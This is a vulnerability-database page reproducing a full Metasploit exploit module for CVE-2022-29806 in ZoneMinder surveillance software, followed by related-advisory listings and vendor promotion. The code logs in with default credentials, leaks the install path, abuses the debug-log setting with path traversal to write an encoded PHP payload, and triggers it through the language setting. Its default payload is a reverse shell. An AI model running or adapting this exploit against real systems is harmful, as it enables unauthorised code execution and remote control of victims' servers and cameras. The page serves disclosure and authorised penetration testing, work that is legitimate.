Lucene search
K

ZoneMinder Language Settings Remote Code Execution

🗓️ 05 May 2022 00:00:00Reported by krastanoel, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 532 Views

ZoneMinder Language Settings Remote Code Execution, exploit of arbitrary file write, path traversal, remote code execution in surveillance softwar

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ZoneMinder Language Settings Remote Code Execution Exploit
6 May 202200:00
zdt
GithubExploit
Exploit for Path Traversal in Zoneminder
28 Apr 202515:20
githubexploit
GithubExploit
Exploit for Path Traversal in Zoneminder
28 Apr 202515:20
githubexploit
ATTACKERKB
CVE-2022-29806
26 Apr 202204:15
attackerkb
AlpineLinux
CVE-2022-29806
26 Apr 202204:15
alpinelinux
Circl
CVE-2022-29806
26 Apr 202207:50
circl
CNNVD
ZoneMinder 路径遍历漏洞
26 Apr 202200:00
cnnvd
CNVD
ZoneMinder Remote Code Execution Vulnerability
28 Apr 202200:00
cnvd
Check Point Advisories
Web Servers Malicious HTTP Request Directory Traversal (CVE-2005-3299; CVE-2014-7174; CVE-2022-1476; CVE-2022-29806)
12 Aug 201300:00
checkpoint_advisories
CVE
CVE-2022-29806
26 Apr 202203:15
cve
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ZoneMinder Language Settings Remote Code Execution',  
'Description' => %q{  
This module exploits arbitrary file write in debug log file option  
chained with a path traversal in language settings that leads to a  
remote code execution in ZoneMinder surveillance software versions  
before 1.36.13 and before 1.37.11  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'krastanoel' ], # Discovery and exploit  
'References' => [  
[ 'CVE', '2022-29806' ],  
[ 'URL', 'https://krastanoel.com/cve/2022-29806']  
],  
'Platform' => ['php'],  
'Privileged' => false,  
'Arch' => ARCH_PHP,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2022-04-27',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'Payload' => 'php/reverse_perl',  
'Encoder' => 'php/base64'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),  
OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),  
OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'method' => 'GET'  
)  
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?  
return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200  
  
if res.body =~ /ZoneMinder/  
csrf_magic = get_csrf_magic(res)  
res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/  
return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
else  
return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')  
end  
  
res.body.match(/v(1.\d+.\d+)/)  
version = Regexp.last_match(1)  
unless version  
return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')  
end  
  
version = Rex::Version.new(version)  
  
return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')  
  
Exploit::CheckCode::Safe("Version Detected: #{version}")  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown('Could not connect to the web service')  
end  
  
def exploit  
unless datastore['AutoCheck']  
cookie_jar.clear  
res = authenticate  
fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>}  
end  
  
vprint_status('Leak installation directory path')  
random_path = rand_text_alphanumeric(6..15)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'method' => 'GET',  
'keep_cookies' => true,  
'vars_get' => { 'view' => random_path }  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'method' => 'GET',  
'keep_cookies' => true,  
'vars_get' => { 'view' => 'options' }  
)  
  
csrf_magic = get_csrf_magic(res)  
current_lang = res&.get_html_document&.at(  
'select[@name="newConfig[ZM_LANG_DEFAULT]"]  
option[@selected="selected"]'  
)&.text  
fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil?  
  
data = 'view=request&request=log&task=query&limit=10'  
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'data' => data.to_s,  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank?  
  
res.body.match(/(\{"result":.*})/)  
request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access  
if request_log.key?(:rows) # Check for latest version key first v1.36.x  
request_log_key = 'rows'  
elsif request_log.key?(:logs)  
request_log_key = 'logs'  
else  
fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key')  
end  
  
request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first  
if request_log  
path = request_log['File'].split('/')[0..-2].join('/')  
vprint_good("Path: #{path}")  
else  
fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path')  
end  
  
fname = "#{rand_text_alphanumeric(6..15)}.php"  
traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join  
shell = "#{traverse_path}tmp/#{fname}"  
data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{shell}"  
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'data' => data.to_s,  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302  
vprint_good("Shell: #{shell}")  
  
p = %(<?php #{payload.encoded} ?>)  
data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}"  
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'data' => data.to_s,  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res  
  
result = JSON.parse(res.body)['result']  
fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result  
fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'  
  
# trigger the shell  
lang = shell.gsub(/\.php/, '')  
data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}"  
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'data' => data.to_s,  
'keep_cookies' => true  
)  
fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302  
  
# cleanup  
data = Rack::Utils.parse_nested_query(data)  
data['newConfig']['ZM_LANG_DEFAULT'] = current_lang  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'data' => data.to_query,  
'keep_cookies' => true  
)  
vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200  
  
data['tab'] = 'logging'  
data['newConfig']['ZM_LOG_DEBUG'] = 0  
data['newConfig']['ZM_LOG_DEBUG_FILE'] = ''  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'data' => data.to_query,  
'keep_cookies' => true  
)  
vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
private  
  
def get_csrf_magic(res)  
return if res.nil?  
  
res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text  
end  
  
def authenticate(csrf_magic = nil)  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
data = "action=login&view=login&username=#{username}&password=#{password}"  
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'data' => data.to_s,  
'keep_cookies' => true  
})  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation